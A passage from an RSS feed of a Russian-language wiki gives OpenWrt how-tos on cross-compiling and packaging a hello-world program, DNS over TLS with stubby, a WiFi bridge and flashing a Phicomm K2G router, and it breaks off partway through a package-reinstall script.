            <author>anonymous@undisclosed.example.com (Anonymous)</author>
            <pubDate>Mon, 11 Feb 2019 09:13:28 +0000</pubDate>
        </item>
        <item>
            <title>openwrt_crosscompiling</title>
            <link>https://wiki.autosys.tk/openwrt/openwrt_crosscompiling</link>
            <description>
&lt;p&gt;
В данной статье процесс компиляции и создания пакетов для OpenWRT.
Он немного устарел (описан процесс для OpenWRT Backfire), но вцелом все должно быть актуально и для новых версий.
&lt;/p&gt;

&lt;p&gt;
Получение исходников &lt;strong&gt;OpenWrt&lt;/strong&gt;
&lt;/p&gt;

&lt;p&gt;
Поскольку для сборки мы будем использовать &lt;strong&gt;OpenWrt Build System&lt;/strong&gt; то первое что необходимо сделать это получить исходный код &lt;strong&gt;OpenWRT&lt;/strong&gt;. Если он у вас уже есть можно переходить к следующему пункту. Я использую &lt;strong&gt;OpenWrt 10.03&lt;/strong&gt;, codename &lt;strong&gt;Backfire&lt;/strong&gt;.
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;svn co svn://svn.openwrt.org/openwrt/branches/backfire openwrt &lt;/pre&gt;

&lt;p&gt;
Должен появится каталог openwrt. Перейдем в него:
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;cd openwrt&lt;/pre&gt;

&lt;p&gt;
В этом каталоге есть 3 ключевые директории:
- toolchain
- target
- package
&lt;/p&gt;

&lt;p&gt;
Вкратце по этим директориям:
&lt;/p&gt;

&lt;p&gt;
&lt;strong&gt;toolchain&lt;/strong&gt; – В этой директории содержится компилятор, библиотеки а также основные утилиты необходимые для построения и сборки образа прошивки. После выполнения команды make toolchain/install появляется директория staging_dir которая и содержит скомпилированный и установленный toolchain.
&lt;/p&gt;

&lt;p&gt;
&lt;strong&gt;target&lt;/strong&gt; – имеет отношение к “встроенной” embedded платформе. Содержит файлы и патчи относящиеся к различным embedded платформам. Например каталог target/linux содержит патчи и конфиги ядра специфичные для каждой платформы, а в каталоге target/image описано как именно собирать образ прошивки для той или иной платформы.
&lt;/p&gt;

&lt;p&gt;
&lt;strong&gt;package&lt;/strong&gt; – каталог в котором содержатся исходники, патчи и конфиги всех пакетов которые можно собрать для OpenWRT. Собственно этот каталог и нужен нам для сборки собственных приложений.
&lt;/p&gt;

&lt;p&gt;
Также стоит отметить что все необходимые исходники и дополнительные файлы в процессе сборки OpenWRT загружаемые из интернета и ложатся в каталог dl, а каталог build_dir это временный каталог для сборки.
&lt;/p&gt;

&lt;p&gt;
Для дальнейших шагов необходимо выполнить:
&lt;/p&gt;

&lt;p&gt;
Получим исходники всех необходимях для сборки пакетов
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;./scripts/feeds update -a &amp;amp;&amp;amp; ./scripts/feeds install -a&lt;/pre&gt;

&lt;p&gt;
Соберем tools и toolchain
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;make prereq &amp;amp;&amp;amp; make tools/install &amp;amp;&amp;amp; make toolchain/install&lt;/pre&gt;

&lt;h1 class=&quot;sectionedit1&quot; id=&quot;кросскомпиляция&quot;&gt;Кросскомпиляция&lt;/h1&gt;
&lt;div class=&quot;level1&quot;&gt;

&lt;p&gt;
Кросскомпиляция позволяет получить из исходников исполняемый файл под нужную платформу.
&lt;/p&gt;

&lt;p&gt;
Для того чтобы исходник компилировался под нужную нам платформу достаточно вставить в Makefile директивы с указанием правильно компилятора. Мануал Openwrt предписывает нам скомпилировать среду для разработки, затем в директории ./staging_dir/toolchain-…../bin/ найти компилятор под нужную платформу и указать на него в Makefile директивами CC и LD. Это можно сделать так:
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;PATH=$PATH:/home/mike/backfire/staging_dir/toolchain-mipsel_gcc-4.3.3+cs_uClibc-0.9.30.1/bin/
export PATH
STAGING_DIR=/home/mike/backfire/staging_dir
export STAGING_DIR&lt;/pre&gt;

&lt;p&gt;
А в Makefile указать компилятор. Если export работает нормально, то указывать можно и без полных путей. У меня export тупил и я написал с полными путями:
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;
CC = /home/mike/backfire/staging_dir/toolchain-mipsel_gcc-4.3.3+cs_uClibc-0.9.30.1/bin/mipsel-openwrt-linux-uclibc-gcc
LD = /home/mike/backfire/staging_dir/toolchain-mipsel_gcc-4.3.3+cs_uClibc-0.9.30.1/bin/mipsel-openwrt-linux-uclibc-ld
all: autosys

%.o: %.c
        $(CC) $(CFLAGS) $(EXTRA_CFLAGS) -c -I. -Iinclude -o $@ $^
    
autosys: main.o
        $(CC) -o $@ $^ -L.

clean:
        rm -f *.o autosys&lt;/pre&gt;

&lt;p&gt;
А дальше просто &lt;strong&gt;make&lt;/strong&gt; и все…
&lt;/p&gt;

&lt;/div&gt;
&lt;!-- EDIT{&amp;quot;target&amp;quot;:&amp;quot;section&amp;quot;,&amp;quot;name&amp;quot;:&amp;quot;\u041a\u0440\u043e\u0441\u0441\u043a\u043e\u043c\u043f\u0438\u043b\u044f\u0446\u0438\u044f&amp;quot;,&amp;quot;hid&amp;quot;:&amp;quot;\u043a\u0440\u043e\u0441\u0441\u043a\u043e\u043c\u043f\u0438\u043b\u044f\u0446\u0438\u044f&amp;quot;,&amp;quot;codeblockOffset&amp;quot;:4,&amp;quot;secid&amp;quot;:1,&amp;quot;range&amp;quot;:&amp;quot;3213-4982&amp;quot;} --&gt;
&lt;h1 class=&quot;sectionedit2&quot; id=&quot;создание_нового_пакета&quot;&gt;Создание нового пакета&lt;/h1&gt;
&lt;div class=&quot;level1&quot;&gt;

&lt;p&gt;
Итак нам нужен каталог package
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;cd package&lt;/pre&gt;

&lt;p&gt;
Создадим в нем директорию simple и simple/src
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;mkdir simple
mkdir simple/src
cd simple/src&lt;/pre&gt;

&lt;p&gt;
Добавление исходников
&lt;/p&gt;

&lt;p&gt;
В каталог simple/src положим исходник нашего приложения. Создадим файл main.c в simple/src директории с текстом:
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;#include
int main(void)
{
	int i=0;
	while (i &amp;lt; 100) {
		printf(&amp;quot; Hello world %d \n&amp;quot;,i);
		i++;
	}
	return 0;
}&lt;/pre&gt;

&lt;p&gt;
Далее подготовим Makefile для компиляции main.c в каталоге simple/srс с таким содержимым (отступы делать табуляцией)
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;# build executable on typing make
all: simple

%.o: %.c
	$(CC) $(CFLAGS) $(EXTRA_CFLAGS) -c -I. -Iinclude -o $@ $^

simple: main.o
	$(CC) -o $@ $^ -L.

clean:
	rm -f *.o simple&lt;/pre&gt;

&lt;/div&gt;
&lt;!-- EDIT{&amp;quot;target&amp;quot;:&amp;quot;section&amp;quot;,&amp;quot;name&amp;quot;:&amp;quot;\u0421\u043e\u0437\u0434\u0430\u043d\u0438\u0435 \u043d\u043e\u0432\u043e\u0433\u043e \u043f\u0430\u043a\u0435\u0442\u0430&amp;quot;,&amp;quot;hid&amp;quot;:&amp;quot;\u0441\u043e\u0437\u0434\u0430\u043d\u0438\u0435_\u043d\u043e\u0432\u043e\u0433\u043e_\u043f\u0430\u043a\u0435\u0442\u0430&amp;quot;,&amp;quot;codeblockOffset&amp;quot;:6,&amp;quot;secid&amp;quot;:2,&amp;quot;range&amp;quot;:&amp;quot;4983-5985&amp;quot;} --&gt;
&lt;h1 class=&quot;sectionedit3&quot; id=&quot;компилирование_на_локальной_машине_под_host_платформу&quot;&gt;Компилирование на локальной машине под host платформу&lt;/h1&gt;
&lt;div class=&quot;level1&quot;&gt;

&lt;p&gt;
Все исходник готов. Можно проверить как он собирается и выполняется на локальной машине (обратите внимание это пока не кросс компиляция):
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;$ make
cc   -c -I. -Iinclude -o main.o main.c
cc -o simple main.o -L.
$ ./simple
Hello world 0
Hello world 1
...
Hello world 99&lt;/pre&gt;

&lt;p&gt;
Исходник собрался под host платформу без проблем, перейдем к сборке под embedded платформу. Для этого вначале почистим исходники:
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;make clean&lt;/pre&gt;

&lt;/div&gt;
&lt;!-- EDIT{&amp;quot;target&amp;quot;:&amp;quot;section&amp;quot;,&amp;quot;name&amp;quot;:&amp;quot;\u041a\u043e\u043c\u043f\u0438\u043b\u0438\u0440\u043e\u0432\u0430\u043d\u0438\u0435 \u043d\u0430 \u043b\u043e\u043a\u0430\u043b\u044c\u043d\u043e\u0439 \u043c\u0430\u0448\u0438\u043d\u0435 \u043f\u043e\u0434 host \u043f\u043b\u0430\u0442\u0444\u043e\u0440\u043c\u0443&amp;quot;,&amp;quot;hid&amp;quot;:&amp;quot;\u043a\u043e\u043c\u043f\u0438\u043b\u0438\u0440\u043e\u0432\u0430\u043d\u0438\u0435_\u043d\u0430_\u043b\u043e\u043a\u0430\u043b\u044c\u043d\u043e\u0439_\u043c\u0430\u0448\u0438\u043d\u0435_\u043f\u043e\u0434_host_\u043f\u043b\u0430\u0442\u0444\u043e\u0440\u043c\u0443&amp;quot;,&amp;quot;codeblockOffset&amp;quot;:10,&amp;quot;secid&amp;quot;:3,&amp;quot;range&amp;quot;:&amp;quot;5986-6745&amp;quot;} --&gt;
&lt;h1 class=&quot;sectionedit4&quot; id=&quot;подготовка_к_кросс_компилированию_средствами_openwrt&quot;&gt;Подготовка к кросс компилированию средствами OpenWRT&lt;/h1&gt;
&lt;div class=&quot;level1&quot;&gt;

&lt;p&gt;
Поднимемся в директорию package/simple:
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;cd ..&lt;/pre&gt;

&lt;p&gt;
Создадим следующий Makefile:
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;#
# Top level makefile for simple application
#

include $(TOPDIR)/rules.mk

PKG_NAME:=simple
PKG_VERSION:=1.0.0
PKG_RELEASE:=1

include $(INCLUDE_DIR)/package.mk

define Package/simple
  SECTION:=utils
  CATEGORY:=Utilities
  TITLE:=simple -- prints simple 1 to 99
endef

define Build/Prepare
	mkdir -p $(PKG_BUILD_DIR)
	$(CP) ./src/* $(PKG_BUILD_DIR)
endef

define Build/Configure
endef

TARGET_CFLAGS += $(FPIC)

define Package/simple/install
	$(INSTALL_DIR) $(1)/bin
	$(INSTALL_BIN) $(PKG_BUILD_DIR)/simple $(1)/bin/
endef

$(eval $(call BuildPackage,simple))&lt;/pre&gt;

&lt;p&gt;
Как видно этот файл не очень сложный но необходимо знать значения следующих переменных:
&lt;/p&gt;

&lt;p&gt;
&lt;strong&gt;PKG_NAME&lt;/strong&gt; – Имя пакета, которое будет видно в menuconfig и ipkg/opkg
&lt;strong&gt;PKG_VERSION&lt;/strong&gt; – Версия пакета
&lt;strong&gt;PKG_RELEASE&lt;/strong&gt; – Версия Makefile этого пакета
&lt;strong&gt;PKG_BUILD_DIR&lt;/strong&gt; – Директория для компилирования пакета
&lt;strong&gt;PKG_SOURCE&lt;/strong&gt; – Имя файла оригинальных исходников
&lt;/p&gt;

&lt;p&gt;
&lt;strong&gt;PKG_SOURCE_&lt;abbr title=&quot;Uniform Resource Locator&quot;&gt;URL&lt;/abbr&gt;&lt;/strong&gt; – &lt;abbr title=&quot;Uniform Resource Locator&quot;&gt;URL&lt;/abbr&gt; загрузки оригинальных исходников
&lt;strong&gt;PKG_MD5SUM&lt;/strong&gt; – MD5 – checksum для проверки загрузки
&lt;strong&gt;PKG_CAT&lt;/strong&gt; – Чем распаковывать исходники (zcat, bzcat, unzip)
&lt;/p&gt;

&lt;p&gt;
Как видно не все из этих переменных обязательны.
Наиболее важными секциями являются секции define Package/_name_  и define Package/_name_/install:
&lt;/p&gt;

&lt;/div&gt;
&lt;!-- EDIT{&amp;quot;target&amp;quot;:&amp;quot;section&amp;quot;,&amp;quot;name&amp;quot;:&amp;quot;\u041f\u043e\u0434\u0433\u043e\u0442\u043e\u0432\u043a\u0430 \u043a \u043a\u0440\u043e\u0441\u0441 \u043a\u043e\u043c\u043f\u0438\u043b\u0438\u0440\u043e\u0432\u0430\u043d\u0438\u044e \u0441\u0440\u0435\u0434\u0441\u0442\u0432\u0430\u043c\u0438 OpenWRT&amp;quot;,&amp;quot;hid&amp;quot;:&amp;quot;\u043f\u043e\u0434\u0433\u043e\u0442\u043e\u0432\u043a\u0430_\u043a_\u043a\u0440\u043e\u0441\u0441_\u043a\u043e\u043c\u043f\u0438\u043b\u0438\u0440\u043e\u0432\u0430\u043d\u0438\u044e_\u0441\u0440\u0435\u0434\u0441\u0442\u0432\u0430\u043c\u0438_openwrt&amp;quot;,&amp;quot;codeblockOffset&amp;quot;:12,&amp;quot;secid&amp;quot;:4,&amp;quot;range&amp;quot;:&amp;quot;6746-8597&amp;quot;} --&gt;
&lt;h2 class=&quot;sectionedit5&quot; id=&quot;packagename&quot;&gt;Package/_name_&lt;/h2&gt;
&lt;div class=&quot;level2&quot;&gt;

&lt;p&gt;
Секция описывает пакет для menuconfig и ipkg/opkg.
&lt;/p&gt;

&lt;p&gt;
&lt;strong&gt;SECTION&lt;/strong&gt; – Тип пакета (на текущий момент не используется)
&lt;strong&gt;CATEGORY&lt;/strong&gt; – В каком меню должно находится приложение в menuconfig
&lt;strong&gt;TITLE&lt;/strong&gt; – Короткое описание пакета
&lt;strong&gt;DESCRIPTION&lt;/strong&gt; – Длинное описание пакета
&lt;strong&gt;&lt;abbr title=&quot;Uniform Resource Locator&quot;&gt;URL&lt;/abbr&gt;&lt;/strong&gt; – &lt;abbr title=&quot;Uniform Resource Locator&quot;&gt;URL&lt;/abbr&gt; исходного приложения
&lt;strong&gt;MAINTAINER&lt;/strong&gt; – (не обязательно) Контактные данные дева
&lt;strong&gt;DEPENDS&lt;/strong&gt; – (не обязательно) Какие пакеты должны быть установлены до этого пакета.
&lt;/p&gt;

&lt;/div&gt;
&lt;!-- EDIT{&amp;quot;target&amp;quot;:&amp;quot;section&amp;quot;,&amp;quot;name&amp;quot;:&amp;quot;Package\/_name_&amp;quot;,&amp;quot;hid&amp;quot;:&amp;quot;packagename&amp;quot;,&amp;quot;codeblockOffset&amp;quot;:14,&amp;quot;secid&amp;quot;:5,&amp;quot;range&amp;quot;:&amp;quot;8598-9328&amp;quot;} --&gt;
&lt;h2 class=&quot;sectionedit6&quot; id=&quot;packagenameinstall&quot;&gt;Package/_name_/install&lt;/h2&gt;
&lt;div class=&quot;level2&quot;&gt;

&lt;p&gt;
В этой секции должен быть описан список команд для копирования собранных исходников в пакет (пакет представлен в виде $(1) директории)
Компилирование
&lt;/p&gt;

&lt;p&gt;
Поднимемся в корневую директорию OpenWRT и запустим конфигуратор:
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;$ cd ..
$ make menuconfig&lt;/pre&gt;

&lt;p&gt;
В конфигураторе ищем свое приложение и отмечаем его как &amp;lt;M&amp;gt; (не забывайте также в конфигураторе сделать базовые настройки, как например выбор платформы) :
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;Utilities  ---&amp;gt; &amp;lt;M&amp;gt; simple&lt;/pre&gt;

&lt;p&gt;
Здесь следует отметить как происходит выбор компонент в конфигураторе:
&lt;/p&gt;

&lt;p&gt;
&amp;lt;*&amp;gt; (по клавише y) этот пакет будет включен в образ прошивки &lt;br/&gt;

&amp;lt;M&amp;gt; (по клавише m) этот пакет будет собран в виде отдельного пакета но не включен в образ прошивки (для последующей установки пакета вручную) &lt;br/&gt;

&amp;lt; &amp;gt; (по клавише n) этот пакет не будет собран &lt;br/&gt;

&lt;/p&gt;

&lt;p&gt;
Для кругового select также можно использовать пробел.
&lt;/p&gt;

&lt;p&gt;
Собственно компилирование:
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;make V=99&lt;/pre&gt;

&lt;p&gt;
После компилирования все прошивки и пакеты будут находится в каталоге bin. Т.к. я собирал OpenWRT под свой D-Link DIR-320 то пакеты у меня находятся в каталоге bin/brcm47xx/package. В этом каталоге содержится ваш собственный репозиторий.
Установка пакета
&lt;/p&gt;

&lt;p&gt;
Достаточно открыть этот каталог по http, и в конфигурационном файле ipkg/opkg вашей embedded системы прописать url к http серверу.
&lt;/p&gt;

&lt;p&gt;
Обновляем список пакетов и устанавливаем пакет simple:
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;root@OpenWrt:~# opkg update
Downloading http://192.168.120.2/pkg/Packages.gz.
Inflating http://192.168.120.2/pkg/Packages.gz.
Updated list of available packages in /var/opkg-lists/packages.
root@OpenWrt:~# opkg install simple
Installing simple (1.0.0-1) to root...
Downloading http://192.168.120.2/pkg/simple_1.0.0-1_brcm47xx.ipk.
Configuring simple.&lt;/pre&gt;

&lt;p&gt;
Проверим работу:
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;root@OpenWrt:~# simple
 Hello world 0
 Hello world 1
 Hello world 2
 Hello world 3
 Hello world 4
 ...
 Hello world 98
 Hello world 99&lt;/pre&gt;

&lt;p&gt;
Собственно все, приложение скомпилировано и работает.
&lt;/p&gt;

&lt;/div&gt;
&lt;!-- EDIT{&amp;quot;target&amp;quot;:&amp;quot;section&amp;quot;,&amp;quot;name&amp;quot;:&amp;quot;Package\/_name_\/install&amp;quot;,&amp;quot;hid&amp;quot;:&amp;quot;packagenameinstall&amp;quot;,&amp;quot;codeblockOffset&amp;quot;:14,&amp;quot;secid&amp;quot;:6,&amp;quot;range&amp;quot;:&amp;quot;9329-&amp;quot;} --&gt;</description>
            <author>anonymous@undisclosed.example.com (Anonymous)</author>
            <pubDate>Mon, 11 Feb 2019 09:13:28 +0000</pubDate>
        </item>
        <item>
            <title>openwrt_lede_dns_over_https_tls</title>
            <link>https://wiki.autosys.tk/openwrt/openwrt_lede_dns_over_https_tls</link>
            <description>
&lt;h1 class=&quot;sectionedit1&quot; id=&quot;шифроавние_dns-запросов&quot;&gt;Шифроавние DNS-запросов&lt;/h1&gt;
&lt;div class=&quot;level1&quot;&gt;

&lt;p&gt;
Есть две техники &lt;abbr title=&quot;Domain Name System&quot;&gt;DNS&lt;/abbr&gt; over TLS (с помощью пакета stubby) и &lt;abbr title=&quot;Domain Name System&quot;&gt;DNS&lt;/abbr&gt; over HTTPS (с помощью http-dns-proxy). &lt;br/&gt;

Говорят, что stubby (DoT) работает быстрее и лучше &lt;a href=&quot;https://forum.openwrt.org/t/https-dns-proxy-vs-stubby/52446&quot; class=&quot;urlextern&quot; title=&quot;https://forum.openwrt.org/t/https-dns-proxy-vs-stubby/52446&quot; rel=&quot;ugc nofollow&quot;&gt;https://forum.openwrt.org/t/https-dns-proxy-vs-stubby/52446&lt;/a&gt;
&lt;/p&gt;

&lt;/div&gt;
&lt;!-- EDIT{&amp;quot;target&amp;quot;:&amp;quot;section&amp;quot;,&amp;quot;name&amp;quot;:&amp;quot;\u0428\u0438\u0444\u0440\u043e\u0430\u0432\u043d\u0438\u0435 DNS-\u0437\u0430\u043f\u0440\u043e\u0441\u043e\u0432&amp;quot;,&amp;quot;hid&amp;quot;:&amp;quot;\u0448\u0438\u0444\u0440\u043e\u0430\u0432\u043d\u0438\u0435_dns-\u0437\u0430\u043f\u0440\u043e\u0441\u043e\u0432&amp;quot;,&amp;quot;codeblockOffset&amp;quot;:0,&amp;quot;secid&amp;quot;:1,&amp;quot;range&amp;quot;:&amp;quot;1-340&amp;quot;} --&gt;
&lt;h1 class=&quot;sectionedit2&quot; id=&quot;dns_over_tls&quot;&gt;DNS Over TLS&lt;/h1&gt;
&lt;div class=&quot;level1&quot;&gt;

&lt;p&gt;
&lt;a href=&quot;https://www.opennet.ru/tips/3061_unbound_dns_tls_crypt.shtml&quot; class=&quot;urlextern&quot; title=&quot;https://www.opennet.ru/tips/3061_unbound_dns_tls_crypt.shtml&quot; rel=&quot;ugc nofollow&quot;&gt;https://www.opennet.ru/tips/3061_unbound_dns_tls_crypt.shtml&lt;/a&gt;
&lt;/p&gt;

&lt;p&gt;
&lt;a href=&quot;https://forum.openwrt.org/t/tutorial-no-cli-configuring-dns-over-tls-with-luci-using-stubby-and-dnsmasq/29143&quot; class=&quot;urlextern&quot; title=&quot;https://forum.openwrt.org/t/tutorial-no-cli-configuring-dns-over-tls-with-luci-using-stubby-and-dnsmasq/29143&quot; rel=&quot;ugc nofollow&quot;&gt;https://forum.openwrt.org/t/tutorial-no-cli-configuring-dns-over-tls-with-luci-using-stubby-and-dnsmasq/29143&lt;/a&gt;
&lt;/p&gt;
&lt;ul&gt;
&lt;li class=&quot;level1&quot;&gt;&lt;div class=&quot;li&quot;&gt;
 Log into LuCI at &lt;a href=&quot;http://192.168.1.1/cgi-bin/luci/&quot; class=&quot;urlextern&quot; title=&quot;http://192.168.1.1/cgi-bin/luci/&quot; rel=&quot;ugc nofollow&quot;&gt;http://192.168.1.1/cgi-bin/luci/&lt;/a&gt; 45, go to System → Software, and hit the Update Lists button.
&lt;/div&gt;&lt;/li&gt;
&lt;li class=&quot;level1&quot;&gt;&lt;div class=&quot;li&quot;&gt;
 Filter down to find the package called “stubby”, and click the Install button. For OpenWrt 18.06.1 users, also install “ca-certificates” and “ca-bundle”. This is needed due to a missed dependency on the stubby package. Newer versions of OpenWrt corrected this.
&lt;/div&gt;&lt;/li&gt;
&lt;li class=&quot;level1&quot;&gt;&lt;div class=&quot;li&quot;&gt;
 Go to System → Startup, find stubby, and click the Start button. Also set stubby to “Enabled” on this same screen.
&lt;/div&gt;&lt;/li&gt;
&lt;li class=&quot;level1&quot;&gt;&lt;div class=&quot;li&quot;&gt;
 Go to Network → Interfaces. Click the edit button for WAN, go to advanced settings, and uncheck “Use &lt;abbr title=&quot;Domain Name System&quot;&gt;DNS&lt;/abbr&gt; servers advertised by peer” and in “Use custom &lt;abbr title=&quot;Domain Name System&quot;&gt;DNS&lt;/abbr&gt; servers” set it to 127.0.0.1. Then press Save &amp;amp; Apply. Repeat this same step for the WAN6 interface, using 0::1 instead of 127.0.0.1.
&lt;/div&gt;&lt;/li&gt;
&lt;li class=&quot;level1&quot;&gt;&lt;div class=&quot;li&quot;&gt;
 Under Network → DHCP and &lt;abbr title=&quot;Domain Name System&quot;&gt;DNS&lt;/abbr&gt;, click the “Resolv and Hosts Files” tab, and put a check mark next to “Ignore resolve file”. Press Save &amp;amp; Apply.
&lt;/div&gt;&lt;/li&gt;
&lt;li class=&quot;level1&quot;&gt;&lt;div class=&quot;li&quot;&gt;
 Under Network → DHCP and &lt;abbr title=&quot;Domain Name System&quot;&gt;DNS&lt;/abbr&gt;, click the “General Settings” tab, set the “&lt;abbr title=&quot;Domain Name System&quot;&gt;DNS&lt;/abbr&gt; forwardings” list to 0::1#5453 and 127.0.0.1#5453.
&lt;/div&gt;&lt;/li&gt;
&lt;li class=&quot;level1&quot;&gt;&lt;div class=&quot;li&quot;&gt;
 Go to System → Startup, find “dnsmasq” and click “Restart”.
&lt;/div&gt;&lt;/li&gt;
&lt;/ul&gt;


&lt;/div&gt;
&lt;!-- EDIT{&amp;quot;target&amp;quot;:&amp;quot;section&amp;quot;,&amp;quot;name&amp;quot;:&amp;quot;DNS Over TLS&amp;quot;,&amp;quot;hid&amp;quot;:&amp;quot;dns_over_tls&amp;quot;,&amp;quot;codeblockOffset&amp;quot;:0,&amp;quot;secid&amp;quot;:2,&amp;quot;range&amp;quot;:&amp;quot;341-1689&amp;quot;} --&gt;
&lt;h1 class=&quot;sectionedit3&quot; id=&quot;dns_over_https&quot;&gt;DNS Over HTTPS&lt;/h1&gt;
&lt;div class=&quot;level1&quot;&gt;

&lt;p&gt;
У меня работал &lt;strong&gt;&lt;abbr title=&quot;Domain Name System&quot;&gt;DNS&lt;/abbr&gt; over HTTPS&lt;/strong&gt;, однако он часто затуплял (очень нагружал проц) и переставал работать. Изменение настрок не сильно помогало. Версии LEDE - 18.06 и 19.07. &lt;br/&gt;

&lt;/p&gt;

&lt;/div&gt;
&lt;!-- EDIT{&amp;quot;target&amp;quot;:&amp;quot;section&amp;quot;,&amp;quot;name&amp;quot;:&amp;quot;DNS Over HTTPS&amp;quot;,&amp;quot;hid&amp;quot;:&amp;quot;dns_over_https&amp;quot;,&amp;quot;codeblockOffset&amp;quot;:0,&amp;quot;secid&amp;quot;:3,&amp;quot;range&amp;quot;:&amp;quot;1690-&amp;quot;} --&gt;</description>
            <author>anonymous@undisclosed.example.com (Anonymous)</author>
            <pubDate>Wed, 11 Nov 2020 21:44:18 +0000</pubDate>
        </item>
        <item>
            <title>openwrt_wifi_bridge</title>
            <link>https://wiki.autosys.tk/openwrt/openwrt_wifi_bridge</link>
            <description>
&lt;p&gt;
Я использую старый роутер, прошитый OpenWrt для подключения проводных клиентов (android-приставка с RJ45, но очень слабым Wifi) к беспроводной сети. &lt;br/&gt;

Роутер выступает в качестве беспроводного клиента, на которол настроен bridge между беспроводным интерфейсом и проводным хабом. &lt;br/&gt;

&lt;a href=&quot;https://openwrt.org/docs/guide-user/network/wifi/relay_configuration&quot; class=&quot;urlextern&quot; title=&quot;https://openwrt.org/docs/guide-user/network/wifi/relay_configuration&quot; rel=&quot;ugc nofollow&quot;&gt;https://openwrt.org/docs/guide-user/network/wifi/relay_configuration&lt;/a&gt; &lt;br/&gt;

&lt;a href=&quot;https://wiki.autosys.tk/_media/openwrt/backup-openwrt-tp-link-tl-wr841n-wirelessbridge.tar.gz&quot; class=&quot;media mediafile mf_gz&quot; title=&quot;openwrt:backup-openwrt-tp-link-tl-wr841n-wirelessbridge.tar.gz (8 KB)&quot;&gt;backup-openwrt-tp-link-tl-wr841n-wirelessbridge.tar.gz&lt;/a&gt;
&lt;/p&gt;

&lt;p&gt;
&lt;a href=&quot;https://www.nerd-quickies.net/2019/08/20/setup-lan-wlan-bridge-with-openwrt-luci/&quot; class=&quot;urlextern&quot; title=&quot;https://www.nerd-quickies.net/2019/08/20/setup-lan-wlan-bridge-with-openwrt-luci/&quot; rel=&quot;ugc nofollow&quot;&gt;https://www.nerd-quickies.net/2019/08/20/setup-lan-wlan-bridge-with-openwrt-luci/&lt;/a&gt;
&lt;/p&gt;
</description>
            <author>anonymous@undisclosed.example.com (Anonymous)</author>
            <pubDate>Wed, 30 Jul 2025 14:27:25 +0000</pubDate>
        </item>
        <item>
            <title>phicomm_k2g_sectec_st-w52-in-dual</title>
            <link>https://wiki.autosys.tk/openwrt/phicomm_k2g_sectec_st-w52-in-dual</link>
            <description>
&lt;p&gt;
&lt;a href=&quot;https://openwrt.org/toh/hwdata/phicomm/phicomm_k2g&quot; class=&quot;urlextern&quot; title=&quot;https://openwrt.org/toh/hwdata/phicomm/phicomm_k2g&quot; rel=&quot;ugc nofollow&quot;&gt;https://openwrt.org/toh/hwdata/phicomm/phicomm_k2g&lt;/a&gt; &lt;br/&gt;

Прошивка Openwrt на Phicomm K2G/SECTEC ST-W52IN-DUAL
&lt;/p&gt;
&lt;ul&gt;
&lt;li class=&quot;level1&quot;&gt;&lt;div class=&quot;li&quot;&gt;
 Выключаем питание
&lt;/div&gt;&lt;/li&gt;
&lt;li class=&quot;level1&quot;&gt;&lt;div class=&quot;li&quot;&gt;
 Зажимаем ресет и подлключаем питание. Роутер включит красный светодиод и получит адрес 192.168.1.1.
&lt;/div&gt;&lt;/li&gt;
&lt;li class=&quot;level1&quot;&gt;&lt;div class=&quot;li&quot;&gt;
 заходим на &lt;a href=&quot;http://192.168.1.1&quot; class=&quot;urlextern&quot; title=&quot;http://192.168.1.1&quot; rel=&quot;ugc nofollow&quot;&gt;http://192.168.1.1&lt;/a&gt; и видим консоль на китайском языке для прошивки.
&lt;/div&gt;&lt;/li&gt;
&lt;li class=&quot;level1&quot;&gt;&lt;div class=&quot;li&quot;&gt;
 Слева выбираем второй пункт сверху, ставим галку &lt;strong&gt;Firmware&lt;/strong&gt;, в выпадающем меню трогаем (там выбрано 0x50000).
&lt;/div&gt;&lt;/li&gt;
&lt;li class=&quot;level1&quot;&gt;&lt;div class=&quot;li&quot;&gt;
 Также на этой стронице ставим нижнюю галку - Автоматический ребут
&lt;/div&gt;&lt;/li&gt;
&lt;li class=&quot;level1&quot;&gt;&lt;div class=&quot;li&quot;&gt;
 Прошиваем устпановочный образ (не sysupgrade) - initramfs-kernel.bin
&lt;/div&gt;&lt;/li&gt;
&lt;/ul&gt;

</description>
            <author>anonymous@undisclosed.example.com (Anonymous)</author>
            <pubDate>Wed, 30 Jul 2025 13:10:26 +0000</pubDate>
        </item>
        <item>
            <title>script_for_installing_packages_after_sysupgrade</title>
            <link>https://wiki.autosys.tk/openwrt/script_for_installing_packages_after_sysupgrade</link>
            <description>
&lt;p&gt;
&lt;a href=&quot;https://gist.github.com/patrakov/8fca04e0bec139e9a9e169dc4b9783f4&quot; class=&quot;urlextern&quot; title=&quot;https://gist.github.com/patrakov/8fca04e0bec139e9a9e169dc4b9783f4&quot; rel=&quot;ugc nofollow&quot;&gt;https://gist.github.com/patrakov/8fca04e0bec139e9a9e169dc4b9783f4&lt;/a&gt;
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;mkdir /etc/package-list
nano /etc/package-list/persist.sh&lt;/pre&gt;
&lt;pre class=&quot;code&quot;&gt;#!/bin/sh

exec &amp;gt; /var/log/persist-packages.log 2&amp;gt;&amp;amp;1
set -x

PKGS=/etc/package-list/extra-packages.txt

# https://github.com/openwrt/packages/issues/6744, not fixed in 18.06.x
fix_route53() {
  if grep -q CURL_SSL /usr/lib/ddns/update_route53_v1.sh 2&amp;gt;/dev/null ; then
    sed -i /CURL_SSL/d /usr/lib/ddns/update_route53_v1.sh
  fi
}

run_with_timeout() {
  local t=$1; shift
  ( &amp;quot;$@&amp;quot; &amp;amp; pid=$!
    ( sleep &amp;quot;$t&amp;quot;; kill -9 $pid ) 2&amp;gt;/dev/null &amp;amp;
    wait $pid
